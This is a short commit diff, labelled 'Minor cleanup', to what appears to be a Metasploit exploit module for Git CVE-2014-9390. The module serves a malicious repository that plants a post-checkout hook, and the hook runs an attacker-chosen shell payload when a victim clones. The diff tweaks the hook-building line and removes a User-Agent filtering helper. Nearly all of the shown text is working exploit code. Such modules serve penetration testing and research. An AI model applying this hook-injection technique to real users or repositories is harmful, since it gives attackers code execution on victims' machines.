Minor cleanup

Author: jhart-r7

modules/exploits/multi/http/git_cve_2014_9390.rb

@@ -103,7 +103,7 @@ def setup_git
     # .git/hooks/post-checkout and will subsequently execute commands of our
     # choosing upon cloning
     # build the hook file blob
-    full_cmd = "#!/bin/sh\n#{payload.encoded}"
+    full_cmd = "#!/bin/sh\n#{payload.encoded}\n"
     sha1, content = build_object('blob', full_cmd)
     trigger = "/objects/#{get_path(sha1)}"
     @repo_data[:git][:trigger] = trigger
@@ -178,27 +178,11 @@ def exploit
   end
 
   def primer
+    # add the git and mercurial URIs as necessary
     hardcoded_uripath(git_uri) unless git_uri.blank?
     hardcoded_uripath(mercurial_uri) unless mercurial_uri.blank?
   end
 
-  def check_user_agent(cli, req, expected_ua_re = /^.+/)
-    actual_ua = req.headers['User-Agent']
-    if actual_ua
-      if actual_ua =~ expected_ua_re
-        true
-      else
-        vprint_status("Ignoring unaffected User-Agent for: #{req}")
-        send_not_found(cli)
-        false
-      end
-    else
-      vprint_status("Ignoring User-Agent-less request for: #{req}")
-      send_not_found(cli)
-      false
-    end
-  end
-
   def on_request_uri(cli, req)
     # if the URI is one of our repositories and the user-agent is that of git/mercurial
     # send back the appropriate data, otherwise just show the HTML version